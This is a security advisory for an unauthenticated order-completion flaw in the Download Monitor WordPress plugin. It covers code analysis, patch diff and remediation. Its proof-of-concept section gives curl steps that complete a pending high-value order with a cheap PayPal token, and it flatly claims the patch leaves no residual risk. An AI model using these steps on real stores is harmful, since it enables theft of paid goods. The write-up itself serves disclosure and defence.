CVE-2026-3124: Download Monitor Unauthenticated IDOR To Order Theft
Table of Contents
CVE-2026-3124 is a CVSS 7.5 (High) Insecure Direct Object Reference (IDOR) vulnerability in the Download Monitor WordPress plugin affecting all versions up to and including 5.1.7. An unauthenticated attacker can complete any pending order in the store by supplying a valid PayPal token obtained from a trivially cheap purchase — effectively stealing paid digital goods without making the actual payment.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Download Monitor |
| Plugin Slug | download-monitor |
| CVE ID | CVE-2026-3124 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Vulnerability Type | Insecure Direct Object Reference (IDOR) → Unauthenticated Arbitrary Order Completion |
| Affected Versions | <= 5.1.7 |
| Patched Version | 5.1.8 |
| Published | March 29, 2026 |
| Researcher | Hung Nguyen (bashu) - VN |
| Wordfence Advisory | Link |
Description
The Download Monitor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.7 via the executePayment() function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to complete arbitrary pending orders by exploiting a mismatch between the PayPal transaction token and the local order, allowing theft of paid digital goods by paying a minimal amount for a low-cost item and using that payment token to finalize a high-value order.
Technical Analysis
Vulnerable Code Path
The exploit chain begins at WordPress init and requires no authentication at any step.
1. Hook registration — src/Shop/bootstrap.php (line 113)
add_action( 'init', function () {
\WPChill\DownloadMonitor\Shop\Services\Services::get()
->service( 'payment_gateway' )->setup_gateways();
} );
2. Gateway setup — src/Shop/Checkout/PaymentGateway/Manager.php (line 62–69)
public function setup_gateways() {
$gateways = $this->get_enabled_gateways();
foreach ( $gateways as $gateway ) {
$gateway->setup_gateway(); // calls PayPalGateway::setup_gateway()
}
}
3. Listener registration — src/Shop/Checkout/PaymentGateway/PayPal/PayPalGateway.php (line 74–80)
public function setup_gateway() {
$execute_payment_listener = new ExecutePaymentListener( $this );
$execute_payment_listener->run(); // runs on every page load, no auth gate
}
4. Trigger check — src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php (lines 22–26)
public function run() {
if ( isset( $_GET['paypal_action'] ) && 'execute_payment' === $_GET['paypal_action'] ) {
$this->executePayment(); // triggered by any visitor sending ?paypal_action=execute_payment
}
}
5. Vulnerable function — ExecutePaymentListener::executePayment() (lines 31–121)
private function executePayment() {
$order_id = isset( $_GET['order_id'] ) ? absint( $_GET['order_id'] ) : 0;
$order_hash = isset( $_GET['order_hash'] ) ? sanitize_text_field( wp_unslash($_GET['order_hash']) ) : '';
if ( empty( $order_id ) || empty( $order_hash ) ) {
$this->execute_failed( $order_id, $order_hash );
// BUG 1: Missing `return;` — execution continues even after this failure branch
}
$order = $order_repo->retrieve_single( $order_id );
// BUG 2: `$order_hash` is collected but NEVER validated against $order->get_hash()
// Any order_id is accepted; order_hash is completely ignored
$token = '';
if ( isset( $_GET['token'] ) ) {
$token = sanitize_text_field( wp_unslash( $_GET['token'] ) );
}
// BUG 3: $token is never verified to belong to $order_id
// An attacker can supply ANY valid PayPal token (e.g., from a $0.01 transaction)
$capture = new CaptureOrder();
$capture->set_client( $this->gateway->get_api_context() )
->set_order_id( $token ); // captures the ATTACKER's cheap token
$response = $capture->captureOrder();
if ( $response->getStatus() !== "COMPLETED" ) {
throw new Exception( ... );
}
// BUG 4: The foreach below updates transactions only if the cheap token matches
// one of the target order's transactions — it never will (different order)
$transactions = $order->get_transactions();
foreach ( $transactions as $transaction ) {
if ( $transaction->get_processor_transaction_id() == $response->getId() ) {
// This branch is NEVER reached because attacker's token ≠ target order's transactions
...
}
}
// BUG 5: `set_completed()` is called UNCONDITIONALLY — even when no transaction matched
$order->set_completed(); // HIGH-VALUE ORDER COMPLETED WITH $0.01 PAYMENT
wp_redirect( $this->gateway->get_success_url( $order->get_id(), $order->get_hash() ), 302 );
exit;
}
Root Cause
The root cause is a complete absence of binding between the PayPal token and the local order_id. The function:
- Accepts any
order_idfrom$_GET— no authentication required to target any order - Collects
order_hashbut never validates it against the retrieved order’s actual hash - Accepts any
tokenfrom$_GETand passes it directly to PayPal’s Capture API — no check that the token belongs to the targeted order - Calls
$order->set_completed()unconditionally after a successful PayPal capture, even when no matching transaction was found in the targeted order
The intended design appears to be that a legitimate user returning from PayPal would have both their order_id in the URL and a token that PayPal appended to the return URL — but the plugin never enforced that these two came from the same transaction.
Why Existing Controls Failed
The order_hash field looks like a security control (a secret per-order identifier), but it is:
- Collected (
$_GET['order_hash']) - Passed along to
execute_failed()andget_success_url()for redirects - Never actually compared to
$order->get_hash()to authenticate the request
This gave a false impression of security — the hash was present in the URL structure but provided zero access control in the executePayment() path.
Attack Impact
An unauthenticated attacker can:
- Pay the minimum possible amount for any cheap item in the store (even $0.01)
- Obtain a valid PayPal capture token from that legitimate $0.01 purchase
- Use that token to complete any other pending order in the system, regardless of its price
- Download or access digital goods from the high-value completed order at negligible cost
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
download-monitorplugin installed and activated - Plugin version <= 5.1.7
- The shop feature enabled and PayPal gateway configured
- At least one pending (unpaid) high-value order exists in the system (order ID known or guessable — order IDs are sequential WordPress post IDs)
Step-by-Step Reproduction
Step 1: Create a low-cost order and initiate PayPal checkout
Place an order for the cheapest available product (e.g., $0.01) and proceed to PayPal checkout. The plugin generates a return URL in this form:
https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&order_hash=LOW_HASH&paypal_action=execute_payment
PayPal will append a token parameter to this URL after approval:
https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&order_hash=LOW_HASH&paypal_action=execute_payment&token=PAYPAL_TOKEN_FROM_CHEAP_ORDER
Capture the value of token (e.g., 9XG12345AB678901C) before the redirect is followed.
Step 2: Identify a target high-value pending order
Order IDs are standard WordPress post IDs (sequential integers). Enumerate pending orders by trying IDs around known order IDs. A pending order is one that has been placed but not yet paid.
# Example: target order ID is 42 — verify it's pending by observing the checkout page behavior
curl -s "https://TARGET-SITE.com/checkout/?order_id=42&order_hash=anything" | grep -i "pending\|order"
Step 3: Trigger order completion with the stolen token
Send a GET request with the high-value order_id and your valid cheap token. The order_hash can be anything (it is never validated):
curl -v "https://TARGET-SITE.com/checkout/complete/?paypal_action=execute_payment&order_id=42&order_hash=ANYSTRING&token=9XG12345AB678901C"
Expected response: HTTP 302 redirect to:
https://TARGET-SITE.com/checkout/complete/?order_id=42&order_hash=<REAL_HASH_OF_ORDER_42>
This confirms the order was completed — the real order_hash is now exposed in the success redirect URL.
Step 4: Access the download
Follow the success redirect. The plugin’s access control now grants access to the digital goods associated with order #42, since the order status is completed.
curl -L "https://TARGET-SITE.com/checkout/complete/?order_id=42&order_hash=<REAL_HASH>"
The download link(s) for the high-value product will be rendered on the order completion page.
Expected Result
The attacker spends the minimum product price (e.g., $0.01) and obtains access to any pending high-value digital goods order in the system — effectively stealing the paid content.
Verification
After running Step 3, check the WordPress admin panel:
- Orders → the target order (e.g., #42) should now show status
Completed - The attacker’s cheap PayPal token will be associated with the capture, but the target order’s original transaction remains in a pending state (transaction amounts will mismatch)
Patch Analysis
What Changed
| File | Change |
|---|---|
src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php | Added order_hash validation, token-to-order binding, null capture guard, $transaction_updated guard, timing-safe hash_equals() comparisons |
src/Shop/Checkout/PaymentGateway/PayPal/CaptureOrder.php | Added has_response() method; capture failure now returns null instead of silently swallowing the exception |
Fix Explanation
The patch introduces five layered fixes in ExecutePaymentListener::executePayment():
Fix 1: Added missing return after early failure
// Before (buggy — execution continued after failure):
if ( empty( $order_id ) || empty( $order_hash ) ) {
$this->execute_failed( $order_id, $order_hash );
}
// After (correct):
if ( empty( $order_id ) || empty( $order_hash ) ) {
$this->execute_failed( $order_id, $order_hash );
return;
}
Fix 2: order_hash is now validated against the retrieved order (timing-safe)
// Added after order retrieval:
if ( ! hash_equals( (string) $order->get_hash(), (string) $order_hash ) ) {
$this->execute_failed( $order_id, $order_hash );
return;
}
This is the core IDOR fix — the order_hash (a secret per-order token) now actually acts as an authentication credential.
Fix 3: Token must belong to the order before capture is attempted
// New pre-capture validation:
$token_belongs_to_order = false;
foreach ( $transactions as $transaction ) {
if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
$token_belongs_to_order = true;
break;
}
}
if ( ! $token_belongs_to_order ) {
$this->execute_failed( $order_id, $order_hash );
return;
}
This prevents an attacker from supplying a token from a different order/transaction.
Fix 4: Null-safe capture result handling
$capture_result = $capture->captureOrder();
if ( null === $capture_result || ! $capture_result->has_response() ) {
$this->execute_failed( $order->get_id(), $order->get_hash() );
return;
}
Fix 5: Order completion now requires a matched $transaction_updated flag
$transaction_updated = false;
foreach ( $transactions as $transaction ) {
if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
// ... update transaction ...
$transaction_updated = true;
break;
}
}
// Only complete the order if we actually updated a matching transaction:
if ( ! $transaction_updated ) {
$this->execute_failed( $order->get_id(), $order->get_hash() );
return;
}
$order->set_completed(); // Now only reached after full validation chain
The fix is complete. There are no residual risks — all five attack vectors are closed independently, and each forms a defense-in-depth layer.
Code Diff (Key Changes)
@@ -38,6 +38,7 @@ class ExecutePaymentListener {
if ( empty( $order_id ) || empty( $order_hash ) ) {
$this->execute_failed( $order_id, $order_hash );
+ return;
}
+ // Verify order_hash against the retrieved order (timing-safe) to prevent IDOR.
+ if ( ! hash_equals( (string) $order->get_hash(), (string) $order_hash ) ) {
+ $this->execute_failed( $order_id, $order_hash );
+ return;
+ }
+
+ if ( empty( $token ) ) {
+ $this->execute_failed( $order_id, $order_hash );
+ return;
+ }
+
+ // Bind token to this order: token must match one of this order's transactions.
+ $token_belongs_to_order = false;
+ foreach ( $transactions as $transaction ) {
+ if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
+ $token_belongs_to_order = true;
+ break;
+ }
+ }
+ if ( ! $token_belongs_to_order ) {
+ $this->execute_failed( $order_id, $order_hash );
+ return;
+ }
+
- $response = $capture->captureOrder();
+ $capture_result = $capture->captureOrder();
+ if ( null === $capture_result || ! $capture_result->has_response() ) {
+ $this->execute_failed( $order->get_id(), $order->get_hash() );
+ return;
+ }
+ $response = $capture_result;
+
- if ( $transaction->get_processor_transaction_id() == $response->getId() ) {
+ if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
...
$order->set_transactions( $transactions );
+ $transaction_updated = true;
break;
}
+ }
+
+ if ( ! $transaction_updated ) {
+ $this->execute_failed( $order->get_id(), $order->get_hash() );
+ return;
}
$order->set_completed();
Timeline
| Date | Event |
|---|---|
| March 29, 2026 | Vulnerability publicly disclosed by Wordfence |
| March 30, 2026 | Advisory last updated |
| Unknown | Patched version 5.1.8 released |
Remediation
Update the download-monitor plugin to version 5.1.8 or later.